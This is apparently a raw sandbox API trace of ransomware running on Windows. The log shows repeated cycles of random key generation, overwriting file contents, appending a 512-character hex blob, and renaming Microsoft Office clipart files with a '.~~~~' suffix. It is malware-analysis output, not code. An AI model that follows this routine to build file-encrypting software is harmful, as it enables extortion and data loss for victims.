	[0111.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fb18
	[0111.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fb18 | out: hHeap=0x300000) returned 1
	[0111.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831710
	[0111.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.489] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.489] GetLastError () returned 0x0
	[0111.489] GetLastError () returned 0x0
	[0111.489] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.489] GetLastError () returned 0x0
	[0111.489] GetLastError () returned 0x0
	[0111.494] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe51a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.494] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1ae6, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1ae6, lpOverlapped=0x0) returned 1
	[0111.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.496] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.496] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.496] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.496] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.496] CloseHandle (hObject=0x140) returned 1
	[0111.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.497] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.~~~~")) returned 1
	[0111.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.498] GetLastError () returned 0x0
	[0111.499] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.501] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.501] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.501] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23149101162) returned 1
	[0111.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xac0e5af0, dwHighDateTime=0x1d60e1e)) 
	[0111.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fb50
	[0111.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fb50 | out: hHeap=0x300000) returned 1
	[0111.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831840
	[0111.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.502] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.502] GetLastError () returned 0x0
	[0111.502] GetLastError () returned 0x0
	[0111.503] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.503] GetLastError () returned 0x0
	[0111.503] GetLastError () returned 0x0
	[0111.505] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe6d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.506] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1928, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1928, lpOverlapped=0x0) returned 1
	[0111.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.507] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.508] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.508] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.508] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.508] CloseHandle (hObject=0x140) returned 1
	[0111.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.508] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.~~~~")) returned 1
	[0111.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.509] GetLastError () returned 0x0
	[0111.510] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.511] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.511] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.511] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23150127692) returned 1
	[0111.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xac10bc50, dwHighDateTime=0x1d60e1e)) 
	[0111.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fb88
	[0111.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fb88 | out: hHeap=0x300000) returned 1
	[0111.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28318d8
	[0111.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.512] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.512] GetLastError () returned 0x0
	[0111.512] GetLastError () returned 0x0
	[0111.513] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.513] GetLastError () returned 0x0
	[0111.513] GetLastError () returned 0x0
	[0111.515] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffb316, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.515] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x4cea, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x4cea, lpOverlapped=0x0) returned 1
	[0111.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.517] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.517] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.517] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.517] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.609] CloseHandle (hObject=0x140) returned 1
	[0111.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.~~~~")) returned 1
	[0112.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0112.065] GetLastError () returned 0x0
	[0112.374] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.376] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.376] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.377] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23236694219) returned 1
	[0112.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xac960950, dwHighDateTime=0x1d60e1e)) 
	[0112.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29bbb80
	[0112.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29bbb80 | out: hHeap=0x300000) returned 1
	[0112.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831970
	[0112.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.378] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.378] GetLastError () returned 0x0
	[0112.378] GetLastError () returned 0x0
	[0112.378] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.379] GetLastError () returned 0x0
	[0112.379] GetLastError () returned 0x0
	[0112.383] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc064, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.383] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x3f9c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x3f9c, lpOverlapped=0x0) returned 1
	[0112.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.385] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.385] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.385] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.385] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.386] CloseHandle (hObject=0x144) returned 1
	[0112.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.~~~~")) returned 1
	[0112.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.387] GetLastError () returned 0x0
	[0112.388] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.389] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.389] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.390] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23237978990) returned 1
	[0112.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xac960950, dwHighDateTime=0x1d60e1e)) 
	[0112.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282ff08
	[0112.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282ff08 | out: hHeap=0x300000) returned 1
	[0112.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28322f0
	[0112.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.391] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.392] GetLastError () returned 0x0
	[0112.392] GetLastError () returned 0x0
	[0112.392] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.392] GetLastError () returned 0x0
	[0112.392] GetLastError () returned 0x0
	[0112.396] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffebe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.396] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1418, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x1418, lpOverlapped=0x0) returned 1
	[0112.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.398] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.398] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.398] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.398] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.398] CloseHandle (hObject=0x144) returned 1
	[0112.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.399] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.~~~~")) returned 1
	[0112.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.400] GetLastError () returned 0x0
	[0112.400] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.402] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.402] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
